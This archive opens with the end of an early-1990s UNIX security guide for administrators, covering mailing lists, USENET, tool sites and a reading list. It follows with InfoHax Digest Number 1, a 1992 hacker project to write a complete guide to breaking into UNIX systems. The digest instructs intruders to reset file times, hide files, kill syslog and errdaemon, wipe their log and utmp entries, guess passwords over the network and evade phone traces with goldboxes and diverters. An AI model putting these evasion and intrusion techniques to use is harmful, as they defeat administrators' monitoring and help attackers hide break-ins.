(Security Coordination Center), also under contract to DCA, as a means of
communicating information on network and host security exposures, fixes,
and concerns to security and management personnel at DDN facilities.

Anyone may join the mailing lists for these two bulletins by sending a
message to and asking to be placed on the mailing lists.

Mailing Lists
There are several other mailing lists operating on the Internet that
pertain directly or indirectly to various security issues.


The unix security mailing list is a by invitation only mailing list and
contains sensitive material which SHOULD NOT BE REVEALED to non-members.
It exists to notify system administrators of security problems before they
become common knowledge.  For more information about this list contact


The RISKS digest is a component of the ACM Committee on Computers and
Public Policy, moderated by Peter G. Neumann.  It is a discussion forum on
risks to the public in computers and related systems, and along with
discussing computer security and privacy issues, has discussed such
subjects as the Stark incident, the shooting down of the Iranian airliner
in the Persian Gulf (as it relates to the computerized weapons systems),
problems in air and railroad traffic control systems, software engineering,
and so on.  To join the mailing list, send a message to  This list is also available in the USENET
newsgroup comp.risks.


The VIRUS-L list is a forum for the discussion of computer virus
experiences, protection software, and related topics.  The list is open to
the public, and is implemented as a mail reflector, not a digest.  Most of
the information is related to personal computers, although some of it may
be applicable to larger systems. To subscribe, send the line

     SUB VIRUS-L your full name

to the address

Sun-{Spots, Nets, Managers}

The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all discussion groups
for users and administrators of systems supplied by Sun Microsystems.
SUN-SPOTS is a fairly general list, discussing everything from hardware
configurations to simple UNIX questions.  To subscribe, send a message to  This list is also available in the USENET
newsgroup comp.sys.sun.  For those that use Sun-386i machines, there is a
mailing list dedicated to that platform.  It is a "spin-off" of SUN-SPOTS.
Send mail to for more information.

SUN-NETS is a discussion list for items pertaining to networking on Sun
systems. Much of the discussion is related to NFS, Yellow Pages, and name
servers.  To subscribe, send a message to
We (at receive this list locally and would be more than happy to
redistribute it.  Just send mail to  It is also
gatewayed to a local USENET news group usaf.sysadmin.sun-nets for your
reading convenience.

SUN-MANAGERS is a discussion list for Sun system administrators and covers
all aspects of Sun system administration.  To subscribe, send a message to  Again, receives this list
locally and is willing to redistribute it.  It, too, is gatewayed into a
local newsgroup usaf.sysadmin.sun-managers.

Many UNIX users are not aware that they have virtually free access to
USENET, a sort of super bulletin board on which an estimated 150,000 UNIX
users at 5,000 sites exchange news and views on over 250 different topics.
USENET is by far one of the greatest network resources available.  It is a
significant resource for the professional, social, and recreational needs
of UNIX (computer) users.  It is easy to use and rewards its users often. currently receives a "full feed" of USENET newsgroups and
supports nntp.  Our feed includes: systems and technology
     news.discussions of USENET itself
     rec.recreation activities (the arts, entertainment, ...) and technology
     soc.society and culture, social issues, ...
     misc.topics that don't fit under one of the top 5 broad areas
     such as items for sale, jobs, legal issues, ...
     talk.Free-wheeling, often heated discussions on philosophy,
     politics, religion, and so on
     gnu.Information about the Free Software Foundation and it's

There are literally thousands of newsgroups that allow you to draw
information from them.  It is certainly worth the time to check out.  Of
course there are newsgroups that are certainly going to interesting to
everyone, I certainly don't read comp.lang.intercal, but for those
interested, it is available.  There is a newsgroup for everyone.

We have also implemented several local newsgroups:

     usaf.7cgItems of interest for 7CG personnel
     usaf.osdItems of interest for OSD personnel
     usaf.general.miscMisc. items of interest
     usaf.general.newuserPlace for new users to ask questions
     usaf.sysadmin.bindBerkeley BIND mailing list
     usaf.sysadmin.pem-devPEM-DEV (Private E-Mail) mailing list
     usaf.sysadmin.snmpSNMP mailing list
     usaf.sysadmin.sun-managersSun Managers
     usaf.sysadmin.sun-netsSun Nets

Local newsgroups can be added for the interests of anyone.  One that might
be useful is  A newsgroup for emergency
postings could be called usaf.emergency.  The potential uses are endless.
For information regarding access to hq's USENET feed send mail to

Where to go for Tools
The internet is a big place.  It is certainly easy to get lost amongst all
of the sub-networks and hosts out there and to find that certain little
piece of software that you heard about from a friend that saw it in a
posting on USENET which was actually a note from a guy at which
only rumored of it's existence.  Well, there really is hope.  There are
some major sites worth checking first based on what you are looking for:

Site Name                 I.P. Address    Description
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+         GNU emacs, kerberos, Athena    all the ADA you could ask for       Berkeley utils ported to A/UX      RCS, buildtex, deTeX, mac  VMS stuff     Andrew Toolkit      X, portable bitmaps, CLX and CLUE   perl, patch, warp       GNU, X, official TeX sources      Sun Local Users Group arch.      ConcurrenC, Xinu, mac, GIF             netinfo, RFCs, IEN, IETF        GNU Emacs, GOSIP, Nysernet, IETF    University INGRES      Security mailing list archives        sun-spots, Lots of Sun source    GNU, tcsh, Elisp, ...          usenet archives, much more            info-iris, brl-cad, bump, ttcp

Eventually, under the Help and Utilities category of Network User Services
(NUS), there will be a large list of internet ftp sites for easy perusal.

Reporting Problems
If you find a security violation on your system, contact your local
security officer immediately.  There should be no delay.  They will be able
to inform you of any necessary action to take.


      "The cure shouldn't be worse than the disease."
       -- Chuck Cole

It's simple.  They know who you are, they know where you live, and they
even know how to get in, but only when you leave the door open.  Security
is becoming an important issue.  You need to start recognizing which doors
are open and how to close them.  It is too important to put it off until

You have read about theoretical ways intruders can penetrate your system
and how they are attacking your networks, accounts and filesystems.  Most
importantly, you have learned how to monitor your system and how to fix
most of the current holes.  There is nothing else I can say -- it is time
to start doing.

Suggested Reading
UNIX System Administration Handbook
Evi Nemeth, Garth Snyder, Scott Seebass
Prentice Hall, 1989 -- $32.95
ISBN: 0-13-933441-6
     This is perhaps the best general-purpose book on UNIX system
     administration currently on the market.  It covers Berkeley UNIX, SunOS,
     and System V. The 26 chapters and 17 appendices cover numerous topics,
     including booting and shutting down the system, the file system,
     configuring the kernel, adding a disk, the line printer spooling system,
     Berkeley networking, `sendmail', and `uucp'.  Of particular
     interest are the chapters on running as the super-user, backups, and

UNIX Operating System Security'
F. T. Grammp and R. H. Morris
AT&T Bell Laboratories Technical Journal
October 1984
     This is an excellent discussion of some of the more common security
     problems in UNIX and how to avoid them, written by two of Bell Labs'
     most prominent security experts.

Password Security: A Case History
Robert Morris and Ken Thompson
Communications of the ACM
November 1979
     An excellent discussion on the problem of password security,
     and some interesting information on how easy it is to crack
     passwords and why.  This document is usually reprinted in most vendors'
     UNIX documentation.

On the Security of UNIX
Dennis M. Ritchie
May 1975
     A discussion on UNIX security from one of the original creators of the
     system.  This document is usually reprinted in most vendors' UNIX

The Cuckoo's Egg
Clifford Stoll
Doubleday, 1989 -- $19.95
     An excellent story of Stoll's experiences tracking down the German
     crackers who were breaking into his systems and selling the data they
     found to the KGB.  Written at a level that nontechnical users can
     easily understand.

System and Network Administration
Sun Microsystems
May, 1988
     Part of the SunOS documentation, this manual covers most aspects of Sun
     system administration, including security issues. A must for anyone
     operating a Sun system, and a pretty good reference for other UNIX
     systems as well.

Security Problems in the TCP/IP Protocol Suite
S. M. Bellovin
ACM Computer Communications Review
April, 1989
     An interesting discussion of some of the security problems with the
     protocols in use on the Internet and elsewhere.  Most of these problems
     are far beyond the capabilities of the average cracker, but it is still
     important to be aware of them. This article is technical in nature, and
     assumes familiarity with the protocols.

A Weakness in the 4.2 BSD UNIX TCP/IP Software
Robert T. Morris
AT&T Bell Labs Computer Science Technical Report 117
February, 1985
     An interesting article from the author of the Internet worm, which
     describes a method that allows remote hosts to "spoof" a host into
     believing they are trusted.  Again, this article is technical in nature,
     and assumes familiarity with the protocols.

Computer Viruses and Related Threats: A Management Guide
John P. Wack and Lisa J. Carnahan
National Institute of Standards and Technology
Special Publication 500-166
     This document provides a good introduction to viruses, worms, trojan
     horses, and so on, and explains how they work and how they are used to
     attack computer systems. Written for the nontechnical user, this is a
     good starting point for learning about these security problems. This
     document can be ordered for $2.50 from the U. S. Government Printing
     Office, document number 003-003-02955-6.

The Design and Implementation of the 4.3BSD Unix Operating System
Sam Leffler, Kirk McKusick, Mike Karels, and John Quarterman
Addison-Wesley, 1989 -- $39.00
ISBN: 0-201-06196-1
     This book is the first authoritative description of the design and
     implementation  of the research version of the UNIX System developed
     at the University of California at Berkeley.  It covers the INTERNAL
     structure of the 4.3BSD system and the concepts, data structures, and
     algorithms used in implementing the system facilities.  The book also
     includes a chaper on the implementation of TCP/IP -- a networking
     protocol suite widely implemented throughout the world.

     Both philosophical and design issues of 4.3BSD are discussed, as well
     as details of the actual implementation.  In most cases, the
     discussion starts at the system-call level and descends from the
     interface to the kernel down to the hardware itself.  The kernel
     includes system facilities such as process management, memory
     management, the I/O system, the filesystem, the socket IPC mechanism,
     and network-protocol implementations.

     The Design and Implemenation of the 4.3BSD UNIX Operating System is an
     in-depth study of a contemporary operating system.  This book assumes
     that the reader understands basic operating-system terminology and has
     some familiarity with any version of the UNIX System and with the C
     programming language.  Therefore, this book is suitable for
     operating-system implementors, systems programmers, and UNIX
    application developers.

UNIX System Security
Patrick Wood and Stephen Kochan
Hayden Book Company, 1985 -- $34.94
ISBN: 0-8104-6267-2
     Here is a practical guide to computer security on the UNIX system for
     the user, administrator, or potential UNIX system buyer.  It will
     teach you everything you need to know to make your system secure and
     keep it that way.

Life With UNIX
Don Libes and Sandy Ressler
Prentice-Hall, 1989 -- $30.95
     This book is quite unusual, not only because of its scope, but because
     it prints things that have never appeared in print (for one reason or
     another) - things that most people don't realize or find until years
     after they have used UNIX.  It is essentially a "reading between the
     lines" of all the other UNIX manuals, books and magazines.  Lastly,
     "Life With UNIX" is chock full of amusing UNIX stories and anecdotes,
     all designed to provide you with key insights into why UNIX is the way
     it is.  "Life with UNIX" is a must book for UNIX beginners to UNIX

     Curry, David A. `Improving the Security of Your UNIX System'.
     SRI International. April 1990.
     Elliot, Lawrence. "Hunt for the Hacker spy" `Reader's Digest',
     April 1990, pp 185-232.
     Eichin, Mark W., and Jon A. Rochlis.  `With Microscope and
     Tweezers: An Analysis of the Internet Virus of November 1988'.
     Massachusetts Institute of Technology. February 1989.
     Farrow, Rik. "Inside the Internet Worm" `UNIX World', June 1990.
     Geer, Daniel E.  Massachusetts Institute of Technology, Project Athena.
     Personal Communication, June 1990.
     Hayes, Frank. "Is Your System Safe?" `UNIX World', June 1990.
     Haynes, Jim.  University of California, Santa Cruz.  Personal
     Communication, May 1989.
     McKusick, Marshall K., Sam Leffler, Mike Karels, John Quarterman.
     `The Design and Implementation of the 4.3BSD Unix Operating
     System'.  Addison-Wesley, 1989.
     Mensch, Henry.  Massachusetts Institute of Technology, Project Athena.
     Personal Communication, June 1990.
     Morris, Robert H., and Ken Thompson. "Password Security: A Case
     History." `Communications of the ACM', 22 (11): 549-597, November
     1979.  Reprinted in `UNIX System Manager's Manual', 4.3 BSD.
     University of California, Berkeley.  April 1986
     Nemeth, Evi, Garth Snyder, Scott Seebass.  `UNIX System
     Administration Handbook'.  Prentice-Hall, 1989.
     Ritchie, Dennis M. "On the Security of UNIX." May 1975.  Reprinted in
     `UNIX System Manager's Manual', 4.3BSD.  University of California,
     Berkeley.  April 1986
     Seeley, Donn. `A Tour of the Worm'.  Department of Computer
     Science, University of Utah.  December 1988.
     Spafford, Eugene H. `The Internet Worm Program:  An Analysis.'
     Technical Report CSD-TR-823.  Department of Computer Science, Purdue
     University.  November 1988.
     Stoll, Clifford.  `The Cuckoo's Egg'. New York: Doubleday, 1989.
     Wood, Patrick, Stephen Kochan.  `UNIX System Security'.  Hayden
     Books, 1979.

                            InfoHax Digest, Number 1

                          Saturday, January 25th 1992

Today's Topics:


Date: Fri, 24 Jan 92 18:04:41 -0700
Subject: welcome.hax

                       WELCOME TO PROJECT: INFOHAX
  Project: INFOHAX is an invitation only project to write the most explicit
and complete guide to hacking UNIX systems that has ever been put out. We
are starting with a 150k paper as an outline, filling in all the holes/tricks
and expanding on it substantially.
  Project durration is set at 1+ year, with digests comming out once a week,
delphi style, perhaps more often if the traffic warrents it.
we also have a passworded fileserver, Details to follow.
send mail to:
                     SUBSCRIBE INFOHAX User_Name
in the msg body
if you have not been confirmed, you will be rebuffed.
to access the fileserver send mail to:
                     INDEX INFOHAX /silicon_lollipop
in the msg body
for confirmation or to get a copy of the 'outline paper' contact
so far confirmed people are:
  Knight Lightning (craig)                 Nikita
  Taran King (randy)                       Calculite (shannon)
  Tuc                                      Tangent (nate)
  Sir Frances Drake (steve)                Judge Dread (sam)
some people we havn't heard back from or havn't got confirmations from:
Erik Bloodaxe
you're in if you wanna be, let us know.
These people have been recomended by someone and need to be voted on:
please vote on a 0-10 scale, 0=NO 5=I_DONT_CARE 10=YES
PHz     (by dispater)             Amoeba+Entity+Flex
Rosco   (by tuc+tangent)            frm cccan              (by tangent)
Feanor  (by dispater)             Furryeel                 (by tangent)
THFC ?  (by kl - please clarify)  Rop                      (by tangent)
if anyone has suggestions for additional people, please let me know.
if anyone has strong feelings one way or the other on any of these people,
voice um!
  We're trying to work it like a delphi right now. A delphi is a think tank
technique where you present an idea to work on, and send it out to people
to work on, solve problems, submit info, ask/answer questions, comment on,
etc. in a little less than a week send in what you have so far, and it will
all be bundled into digests and sent out again... the list is moderated so
some sorting/organising can happen before it goes out again. then people
keep working on what they were, but have feedback and fresh material from
everyone else... it's a really powerfull technique, so I hope it works for
us. I think there will be some rough edges to work out, as to the methods,
hopefully this wont take too long.
  I put out a form (see below: form.0) to help organise info, and keep
track of things, please use it! the header and tail should be used for
feedback, and discussions, please save bandwidth and nuke the 'DATA:'
section, except for BRIEF extracts of the text being commented on.
that will make sorting sooooo mutch easier, a section name in the
'Subject' field would be nice too...
if you want people to know who wrote what you just sent in, put your
name or handle in the body of the message.
  If you're submitting original material, please use the whole thing. We
will assighn a section # to avoid chaos...
  Also if you have input on the genneral form of the project, discussions
that don't relate to a particular area, etc. please send a form with a
header/subject line of DISCUSSION these will be collected together at the
begiinning of the digests. The methods/form of the project are totally
variable, and I encourage you to suggest changes, we may throw the delphi
out all together, it's a starting point, nothing more. If you don't like
it say so!
  If you see something referenced that you don't understand, ask about it.
If you see a trick mentioned, but not explained, that you know something
about, or have ideas on - even if you don't totally grok it, send in what
you know, or ideas about how it might work. There are alot of little
sections that need to be worked on. If you have something to say about it
do!, even if you're not the person working on it. If you see a section
that you'd like to work on, adopt it. basicly we get alot better info if
people arn't territorial about a section they are working on, and accept
/incorperate input.
  In other words we're working under total anarchy! be nice to each other,
cooperate, and lets not have any flame wars...
  the main sections of the original paper follow, after that some additions:
Theory                               Devices
Network Security                     Monitoring
Other Network Services               Net Monitoring
Accnt Security                       Accnt Monitoring
File System Security                 File System Monitoring
Setgid Programs                      Know your System
Startup Files                        Improving Your Security
User Utils                           Pollicies
Programming Utils                    Countermeasures
Encryption                           Biblio
How not to get caught - logging, covering tracks, laundering calls, becoming
   invisable to the system, who's on, housecleaning, hiding setuid, trojans,..
Getting in the Door...
Getting Root
Setuid Progs/shells
Passive Snooping
Network Spoofing
Patch Level and Version History
  this list is far from complete, please suggest additions!, oh yeah, a large
collection of exploitation type code/scripts at the end.
  if anyone would like to start filling in the outline/TOC that would be
  This first chapter is on how not to get caught. It will effect all the
other areas of the paper and is going to be revisited/added to as we visit
every other chapter. It's also a good springboard to get folks started in
on other areas. I'm not shure if it's best to hop arround at random doing
different sections in parrallel, or sequentially chapter by chapter...
  This first digest has the following areas to stimmulate discussion:
sec01: sysadmin.comments - on logging
sec02: frm.paper         - what we're expanding on
sec03: frm.mentor.paper  - prev work to build on
sec04:       - proposed tools by calculite, some comments
                           by tangent
sec05: phone.trace.evsn  - info in evading phone traces
sec06: BSD.accnt.files   - summary of w/ notes on exploiting
sec07: - slightly dated, lotta good tricks to tease out
sec08: IP.tracing        - discussions on hacker trackers
sec09: more.IP.tracing   - more of above
sec10: rfc931            - bad news... need to find ways arround this.
sec11: - how we get caught...
sec12:         - pearl script for nuking /utmp entries
  Some areas that need discussion are weather we should include available
material, or just ref it. examples include mentors paper, rfc931, phracks
'hiding out under unix', and another phrack artical on getting lost (title?)
  My thoughts are to include it if it's short, or at least stick it on the
file server...  feedback?
Obvious areas (in this chapter) that need something written about them are:
    UUCP logging                     evading phone traces
    SysV log summary                 UNIX as outdial
    IP spoofing                      terminal servers and gateways
  If you feel you have a specialty area, please list it, and start work on
that area (with a partner or two if there's overlap), though everyone should
comment/contribute to all areas, if possable. This is supposed to be a
democracy, so if you want to change what I'm outlining, please submit your
ideas and the group can hash it out. Don't get overwelmed!, if we took 2wks
on eash major area, this project would take a year, It's probably going to
take more than that... remember, we're basicly writing a BOOK!
  we can officially consider this project underway, expect mailings every wk,
perhaps twice a wk when things get going well!
                                    Happy Hacking!

Date: Fri, 24 Jan 92 18:14:48 -0700
Subject: form.0

  In an attempt to keep things organised from the start I put together a
form for communication. The sole purpose of this is to be able to easily
refer to what's been done, keep track of revisions, and cross ref comments
and pointers to other sections...  
  Please buffer, and USE this for communication:
Section Name                         chapter.sec.version        00/00/00
Section Name - is the name of the sevtion within the chapter.
chapter.sec.version - is the overall ref, version starts at 0, and goes up
  just like software or OS releases
00/00/00 - is the last revision date
DATA: - is material submitted, or commented on, or exploitation type code (for
  this chapter = code, and sec = chapter), etc. another chapter Biblio: - works
  the same way. The DATA area is for ORIGINAL material being submitted, or for
  REVISIONS (one person ties all replies together, and puts together a revision)
  the idea here is to keep the bandwidth down, and avoid the redundancy of
Comments: this is a 'maybe this would be possable' type area, or gen comments
  on the DATA sec, you can eithor reply by interspercing comments in the data
  via '>'s or put um here, and nuke the data for replies, as everyone will
  allready have the data.
Q's: how is this done, anyone know about this, etc... type area...
Biblio: refs to go in the biblio chapter
CrossRef: this ties in to, or could be used in chp#,sec#...
Code/shRef: exploitation type code, or shell scripts for the code chapter, ref
  to, code should go in the Data sec of message.
  OK, so maybe this isn't perfect, not shure how it will work, but it WILL
make life soooo mutch easier a couple of months down the road, and when it
goes to final edit...
  If anyone has comments on how to improve this, or do it better, speak up!,
once this is set, we're going to be stuck with it for the whole project.
  Also, to make things more clear, the DATA area is what will be eventually
published. The leading, and trailing headers are to keep track of it, and
talk about it(DATA).

Date: Fri, 24 Jan 92 18:20:48 -0700
Subject: sysadmin.comments

Section Name                         chapter.sec.version        00/00/00
sysadmin.comments                       01.01.0                 01/21/92
17) OK, finally, logs.  I read every log that grows without bounds,
including daemonlogs that would show unauthorized reboots if not altered.
I never found anything odd in ptydaemonlog or vtdaemonlog, or any unreason-
able reboots, startups, shutdowns, etc., although I kept reading the logs
Obviously I reviewed sulog, but I never found anything in there
either, although possibly the fact that I disabled su early on had something
to do with that :).
I also read my own .x11startlog, which would show startup times for
X windows on the console; that was always clean.
The ones that I did find things in were /etc/btmp and /etc/wtmp,
expecially wtmp...I'm not sure how familiar you are with the format of
these, so just to summarize, they give username, tty, time on and time off.
btmp is the bad login attempt log, wtmp the successful login attempt log.
I rather imagine that a dialup cracking attempt by an outsider would tend
to generate more btmp entries, but on my system the interesting stuff was
usually in wtmp.  Anyway:
In the log of bad logins, btmp, you look for repeated login attempts
for a single user, especially if they are clustered around the same time,
and especially if there are a large number of login attempts which don't
show any typographical errors in the user name.  A third to a half of
legitimate entries--that is, failed logins by authorized users--in btmp
will show typos in entering the username, or sometimes weird character
strings that indicate somebody leaned on the keyboard.  Some of them will
show passwords typed in where usernames should be, which is why btmp is
supposed to be readable only by root.  I imagine that dialup will show
some 'line noise' failures.  My users were on hardwired terminals, so that
didn't appear.
Large numbers of failed entries for a single user in which the user-
name is typed correctly mean either that a legitimate user has forgotten his
password, a legitimate user is typing spastically this morning, or somebody's
trying to crack that account.  I'd ask the user if he was doing something
that would have led to all the bad attempts; sometimes the answer was yes,
in which case I could get him a new password or forget it.  If it's no,
I know I have a problem.
The other pattern that sometimes occurs is 'sweeps' across large
numbers of usernames, usually typed correctly, clustered at the same time
and originating from the same terminal.  This is almost always cracking,
if it shows up in btmp.
What is never anything but cracking is the appearance of login attempts
for reasonable guesses at usernames that don't happen to exist on your system.
The 'sweep' pattern, in our company, could be legitimate if it showed
up in wtmp, the log of successful logins, because certain trusted department
heads were authorized to login as their subordinates and occasionally did so
for administrative purposes.  In this case, the sweep usually originates at
a single terminal, generally the department head's, and covers that department
I looked for a string of fairly obvious things in wtmp: simultaneous
logins by the same user, users logged in at unusual times or from unusual
ports, off-console root logins, etc.  This actually took the most time, and
is the one I did the most asking about--hey, Rita, did you log in in Ben's
office yesterday? and so forth.
The larger the system and # of users, obviously, the harder this
is to do.  I could have started correlating wtmp and btmp entries, but
never got the time to write the script.  We also didn't have auditing enabled
because I didn't get a chance to put it up, because I was under pressure to
get the system operational.  That was probably a mistake, although it wouldn't
really have changed the final outcome of anything.
I did pin down a major security breach with this procedure, because
I found one more off-console root login than I knew was legitimate, which
neither I nor the assistant administrators could account for.  I found the
damage not long after, although it took me, honestly, about two weeks to
figure out why that particular item had been changed (It's not a secret, but
definitely belongs in another letter, so I'll save it).
This approach obviously has a flaw (aside from not having auditing)
in that I obviously wouldn't see a breach that involved someone else logging
in at a user's regular terminal at a reasonable time for that user to be
there, which I strongly suspect happened more than once.  Auditing would
have caught anomalous system activity in that case if file permissions
had been changed.  It couldn't have caught the falsifying of information
within the scope of the user's normal routine--if someone logged in as
the bookkeeper in the right place at the right time calls up the usual
programs and does everything except enter the numbers straight, there is
no way to pick that up with auditing.
Since I will have auditing up when I go up on the net, the report
we ought to be able to compile on this subject after the experiments ought
to be much more complete, and I'm looking forward to it as it should be
fascinating.  Thanks :)

Date: Fri, 24 Jan 92 18:25:13 -0700
Subject: frm.paper

Section Name                         chapter.sec.version        00/00/00
frm.paper                                01.02.0                01/21/92
 In general the intruder can cover his own tracks. Detecting Intrusion
therefor depends on on the intruder neglecting to do so, plus the
installation of log keeping. The existence of log keeping should be
somewhat secret to increase the probability that the intruder will
unwittingly reveal his acts and methods.
  The best logkeeping consists of writing to a hardcopy device so that
the intruder cannot erase the log.
  Sometimes a single slip-up by an intruder will reveal a huge case of
previously unsuspected penetration.
  The syslog facility is a mechanism that enables any command to log error
messages and informational messages to the system console, as well as to a
log file. Typically error messages are logged in the file
/usr/spool/log/syslog along with the date, time, and name of the program
sending the message to the program.
DEC 24 12:10:06 WS1 NNTPXMIT: greet=520 SAMT 19 NNTP server can't talk to you
DEC 24 14:53:37 WS1 LOGIN: root login ttyp3 from
DEC 25 08:02:03 WS1 LOGIN: root login ttyp4 from
DEC 25 08:28:52 WS1 SU: joueuser on /dev/ttyp3
DEC 25 10:23:41 WS1 VMUNIX: /: file system full
DEC 25 11:30:42 WS1 LOGIN: repeated login failures on ttyp3 from
      , daemon
DEC 25 11:45:08 WS1 NNTPD: rnews: inews: no valid newsgroup found
  Of particular interest are the messages from the login and su programs.
Wheneverr someone logs in as root login logs this informtion. In general
logging in as root directly, as opposed to using the su program is better
as it is harder to tell which person is actually using the accnt.
  Login also logs any case of someone repeatedly trying to log into an
account and failing, 3 consecutive times.
  These messages can be used to check for users sharring accounts, as well
as hacking attempts.
  Can be used on a NFS file server to show the names of all hosts that
currently have something mounted from that server.
  w/ no options just shows a list of all the hosts.
  w/ '-A' shows all the hosts and directory combinations ie:
  w/ '-D' shows a list of all directories mounted by some host.
  Showmount's output is checked for 2 things, first, only machines local
to the systems organization should appear there. Second, only "normal"
directories should be mounted - unusual directories being mounted may
indicate a hacking attempt.
  Some versions of ftp allow administrators to turn on and off logging
information. The standard BSD4.2 does not, but there are publiclly
available patches to the code to enable this feature.
  Example: (bsimpson) wed may 30 19:32:11 1990
       get /pub/gnu/gcc-11.37.tar.Z
    @ (intruder) wed may 30 22:13:01 1990
       get /etc/passwd
       put /pub/annoying-msg wed june 6 08:19:16 1990
       get /pub/sun-source/faces-1.3.tar.Z
       get /pub/gnuemacs-18.55.tar.Z
  In the case where lines begin w/ an '@', an anonymous ftp was done. The
password given by the user (they ask for username, sometimes site name /
address - will usually take anything) is in parenthesis after the hostname.
  In the case where lines start w/ a username, a normal user has logged on
to transfer files.
  Whenever you transfer files with ftp, the manager will know what login
was used, what files were transfered, and to what site.
  (use a login, not your own , rename the files, and site hop...)
  Accounts are monitored to check for:
  A) users logged in when they shouldn't be (i.e. late at night, when
     the're on vacation, etc)
  B) users executing commands they wouldn't normally be expected to use.
  Last looks back in the wtmp file which records all logins and logouts
for information about a user, a teletype or any group of users and teletypes.
Arguments specify names of users or teletypes of interest. Names of teletypes
may be given fully or abbreviated. For example, LAST 0 is the same as LAST
TTY0. If multiple arguments are given, the information which applies to any
of the arguments is printed. For example "last root console" would list all
of root's sessions, as well as all sessions on the console terminal.
  Last displays the sessions of of the specified users and teletypes, most
recent first, indicating the times at which the session began, the duration
of the session, and the teletype the session took place on. If the session
is still continuing or was cut short by a reboot.
  With no arguments, last displays a list of all logins and logouts, in
reverse order.
$ last -4 joeuser
joeuser     ttyp1    ws1.cs.podunk.e  wed jun 6 10:04   still logged in
joeuser     ttyp3  tue jun 5 15:01 - 15:01  (00:00)
joeuser     ttyp0    maggie.podunk.e  tue jun 5 10:05 - 19:44  (09:38)
joeuser     console  ws2.cs.poduke.e  tue jun 5 09:49 - 10:05  (00:16)
  Lastcomm gives information about previously executed commands. Without
any arguments it gives information about all the commands recorded durring
the the current accounting files lifetime. If called with no arguments, it
displays information about all the commands recorded durring the current
accounting files lifetime. If called with arguments it only displays
accounting records with a matching command name, user name, or terminal name.
    $ lastcomm
    who                simsonb    ttyp0      0 secs wed jun  6 10:03
    mesg               joeuser    ttyp1      0 secs wed jun  6 10:03
    biff               joeuser    ttyp1      0 secs wed jul  6 10:03
    csh            F   joeuser    ttyp1      0 secs wed jul  6 10:03
    killercracker      intruder   ttyp4   7240 secs wed jul  6 08:01
                               . . .
  For each process entry, lastcom displays the following items of
  The command name under which the proccess was called
  One or more flaggs indicating special information about the process,
  the flags have the following meanings:
      F  The process performed a fork, but not an exec
      S  The process ran as a set-user-id program
      D  The process dumped memory
      X  The process was killed by some signal
  The name of the user who ran the process
  The terminal which the user was logged onto at the time (if applicable)
  The ammount of CPU time used by the process (in seconds)
  The date and time the process exited

Date: Fri, 24 Jan 92 18:34:31 -0700
Subject: frm.mentor.paper

Section Name                         chapter.sec.version        00/00/00
frm.mentor.paper                          01.03.0               01/21/92
  ls -l will tell you the last time a file was modified, make a note of
this when you tamper w/ a file, and set it back w/ the touch command when
you are finnished, syntax is:
touch hhmmMMdd [file]
  Where hh is hour, mm is minute, MM, is month, and dd is the day, [file]
is obvious...
  What usually gives away hackers is the files they create on systems. If
you must make files and directories on systems, make use of the hidden file
feature ('.filename'). Also try to hide them in directories that are rarely
ls'd, such as /usr/spool/lp, /usr/lib/uucp, etc.
  If you replace a users file with a modified copy, this copy will be owned
by your account and group instead of the account which owned the original.
You can change the group back w/ the chgrp command. syntax is:
chgrp [groupname] [file]
and change the owner back w/ the chown command:
chown [user] [file]
  If you do something wrong, assume a note of it was recorded somewhere on
the system. Leave the system and it's files exactly as you found them.
  If you think it would go unknowticed, and your expection to ring alot of
bells you can turn off system logging (if you have root).
  Type "cat /etc/", this file contains the process number of the
syslog (error logging) program. Kill this process, and you have stopped
error logging. Remember to start it back up when your through.
  If you want to see where the error logging messages are sent, type:
cat /etc/syslog.config
Entries are in the form:
Such as:
  The number is the priority of the error, and the file is the file that
errors of that level are sent to. If you see an entry with /dev/console as
it's log file, watch out! Errors of that priority are sent to the system
console. Sometimes a list of usernames will follow an entry for errorlogging.
This means that these users will be notified of any errors of that priority
or higher.
  There are 9 levels of error priority's, 1 is lowest, 5 is the lever of
errors gennerally caused by hackers - security violations, bad login and su
attemps, attempts to access files w/ out proper permissions..., level 9
is a system crash.
  The SysV error logging prog is errdaemon, to find it's pid type "ps -uroot"
among roots processes you will find /etc/errdaemon. If you kill it there will
be no more logging till you start it again. By default it writes errors to
the /usr/admin/errorfile.
  To get a report of errors type:
errpt [-a] /usr/adm/errfile

Date: Fri, 24 Jan 92 18:44:10 -0700

Section Name                         chapter.sec.version        00/00/00                               01.04.1               01/22/92
I'll try to write a summary right now.  It won't be in the proper format, but
it's not a final submission, either...
Something that could come in handy for hacking UNIX systems would be a shell
script that would automate the following:
1)  disable logging
2)  edit standard logs to remove lines containing the account name that's being
    used (when logs don't exist, inform the user)
3)  remove information from the utmp file for the account name that's being
    used in order to avoid detection
    (write privs to utmp requires root privs on anything but a sun)
4)  reenable logging when the user is done
    (unless you are alone, it might not be a great idea to disable/reenable
     logging, might look abit fishy ... how about just nuking log entries
     for your username/uid/pid)
and possibly do the following:
1)  alert the user when users log on and off
    (how about just people w/ privs, or owner of accnt)
2)  attempt to exploit known bugs and edit appropriate logs
This script could be uploaded after the user has obtained access to a system
and be executed with possible options to disable functions when they're not 
(other things: set up a working subdir
               store + restore .history (if present)
               1 key macro to nuke subdir, logout, and suicide process )
Another useful tool would be a program that would connect to port 25 of a
target system and attempt passwords from a dictionary on standard usernames
(guest, anonymous, ingres, new, apply, etc..) and usernames obtained manually
by the user.  This would operate much like an /etc/passwd cracker, but would 
actually try acct/passwd combinations over the net.  NOTE:  This should be used
only as a last effort from a safe acct.  It will, no doubt, affect logs on
systems that log failed attempts.  Possible sources for code:  generic net
interface code, MUD 'bot code, telnet source.  
A friend of mine wrote a telnet scanner that brought net connections to a crawl,
he just did it sequentially, w/ no delay... a very irate sysadmin dragged him
into his office and very nicely told him to never ever do that again...
  a little break between calls is important!
Shannon Robert Madsen / Calculite  |
"To err is human; to moo, bovine." |  "Religion is the opiate of the masses."

Date: Fri, 24 Jan 92 18:52:14 -0700
Subject: phone.trace.evsn

Section Name                         chapter.sec.version        00/00/00
phone.trace.evsn                          01.05.0               01/24/92
  Don't have mutch for this area yet. some stratagies are:
use a goldbox
use a diverter
radio or cordless phone 1/2 in a bbox, 1/2 a safe distance away.
use call forwarding to forward to a phone in a different babybell's area,
then send it through MCI (refuses to provide call records in court) or to
thriftytell(flat rate service w/ no call detail records)

Date: Fri, 24 Jan 92 18:57:04 -0700
Subject: BSD.accnt.files

Section Name                         chapter.sec.version        00/00/00
BSD.acct.files                            01.06.1               01/18/92
data kept          filename                type    owner  group    mode note
